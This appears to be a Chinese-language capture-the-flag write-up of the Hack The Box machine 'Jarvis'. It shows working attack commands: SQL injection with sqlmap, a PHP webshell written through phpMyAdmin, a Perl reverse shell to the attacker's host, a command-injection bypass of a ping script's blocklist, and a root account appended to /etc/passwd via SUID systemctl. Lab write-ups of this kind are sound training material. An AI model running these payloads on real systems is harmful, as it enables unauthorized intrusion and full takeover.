Hack the box-Jarvis靶机
信息枚举
利用masscan探测开放端口
找到了22,80,64999端口
Nmap探测22,80,64999的服务信息
漏洞利用
首先我们从80端口的web下手
用wfuzz扫描web80端口,从中我们得知站点使用phpmyadmin,但是版本比较新,我们需要账号密码才能进去写shell
当我们输入/room.php?cod=1’
站点明显出现了异常,我们得知cod参数存在sql注入
使用sqlmap 获取账号密码,web检查了用户代理,如果我们直接跑sql注入会被ban,我们用--user-agent绕过过滤器,并且使用--password获取账号密码
sqlmap -u http://10.10.10.143/room?cod=1 --user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0” --password
我们已经把账号密码注出来
DBadmin--imissyou
进入phpmyadmin,写入webshell
#select “<?php system($_GET[‘cmd’]); ?>” into outfile “/var/www/html/n00b.php”
低权限shell
我们使用perl反连shell
#perl -e 'use Socket;$i="10.10.x.x";$p=xxxx;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
使用TTY获取一个终端,具体详情如下:
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
详细TTY操作如下:
root@localhost:~/pang# nc -lvp 4444
listening on [any] 4444 ...
10.10.10.143: inverse host lookup failed: Unknown host
connect to [10.10.15.237] from (UNKNOWN) [10.10.10.143] 35342
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@jarvis:/var/www/html$ ^Z
[1]+ 已停止 nc -lvp 4444
root@localhost:~/pang# stty raw -echo
root@localhost:~/pang# nc -lvp 4444
reset
reset: unknown terminal type unknown
Terminal type? bash
www-data@jarvis:/var/www/html$ export SHELL=bash
www-data@jarvis:/var/www/html$ export TERM=xterm-256color
www-data@jarvis:/var/www/html$ export rows 54 columns 206
连上后,我们尝试查看user.txt
我们没有权限获取user.txt
当我们尝试sudo -l,我们得知我们可以使用simple.py提权到jarvis
Simple.py源代码如下;
#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re
def show_statistics():
path = '/home/pepper/Web/Logs/'
print('Statistics\n-----------')
listed_files = listdir(path)
count = len(listed_files)
print('Number of Attackers: ' + str(count))
level_1 = 0
dat = datetime(1, 1, 1)
ip_list = []
reks = []
ip = ''
req = ''
rek = ''
for i in listed_files:
f = open(path + i, 'r')
lines = f.readlines()
level2, rek = get_max_level(lines)
fecha, requ = date_to_num(lines)
ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if fecha > dat:
dat = fecha
req = requ
ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if int(level2) > int(level_1):
level_1 = level2
ip_list = [ip]
reks=[rek]
elif int(level2) == int(level_1):
ip_list.append(ip)
reks.append(rek)
f.close()
print('Most Risky:')
if len(ip_list) > 1:
print('More than 1 ip found')
cont = 0
for i in ip_list:
print(' ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
cont = cont + 1
print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)
def list_ip():
print('Attackers\n-----------')
path = '/home/pepper/Web/Logs/'
listed_files = listdir(path)
for i in listed_files:
f = open(path + i,'r')
lines = f.readlines()
level,req = get_max_level(lines)
print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
f.close()
def date_to_num(lines):
dat = datetime(1,1,1)
ip = ''
req=''
for i in lines:
if 'Level' in i:
fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
regex = '(\d+)-(.*)-(\d+)(.*)'
logEx=re.match(regex, fecha).groups()
mes = to_dict(logEx[1])
fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
if fecha > dat:
dat = fecha
req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
return dat, req
def to_dict(name):
month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
return month_dict[name]
def get_max_level(lines):
level=0
for j in lines:
if 'Level' in j:
if int(j.split(' ')[4]) > int(level):
level = j.split(' ')[4]
req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
return level, req
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)
if __name__ == '__main__':
show_header()
if len(sys.argv) != 2:
show_help()
exit()
if sys.argv[1] == '-h' or sys.argv[1] == '--help':
show_help()
exit()
elif sys.argv[1] == '-s':
show_statistics()
exit()
elif sys.argv[1] == '-l':
list_ip()
exit()
elif sys.argv[1] == '-p':
exec_ping()
exit()
else:
show_help()
exit()
从源代码中我们可以看出exec_ping()函数中,程序检查了(& ; - ` || |)
程序没有检查$,我们可以构造$(bash)
因此,如果我们执行ping -c 1 $(echo 127.0.0.1),echo 127.0.0.1将会被先执行,然后再执行ping命令
可是我们无法得到回显,我们使用继续使用perl反向连接获取shell
得到user.txt
权限提升
检查suid文件,我们得知系统运行了systemctl
systemctl可以控制systemd系统和服务管理器的状态
https://gtfobins.github.io/gtfobins/systemctl/
在以上链接我们得知当systemctl的suid为1会被滥用,我们可以构造一个root.service去跑我们的sh文件
使用perl生成我们带有盐值的密码
#perl -le 'print crypt("password@123","addedsalt")'
把伪造账号的脚本写到/dev/shm/root.sh中
#echo “rooot:advwtv/9yU5yQ:0:0:root:/root:/bin/bash" >> /etc/passwd’
使root.sh添加执行权限
#chmod +x /dev/shm/root.sh
把自定义的root.service跑起来
#systemctl enable /dev/shm/rooot.service
#systemctl start /dev/shm/rooot.service
当我们检查/etc/passwd后发现,我们构造的用户和密码写入到了/etc/passwd中
su rooot后查看id发现我们是root权限
获得root.txt
部分参考自文章:https://hackso.me/jarvis-htb-walkthrough/
- 点赞
- 收藏
- 关注作者
评论(0)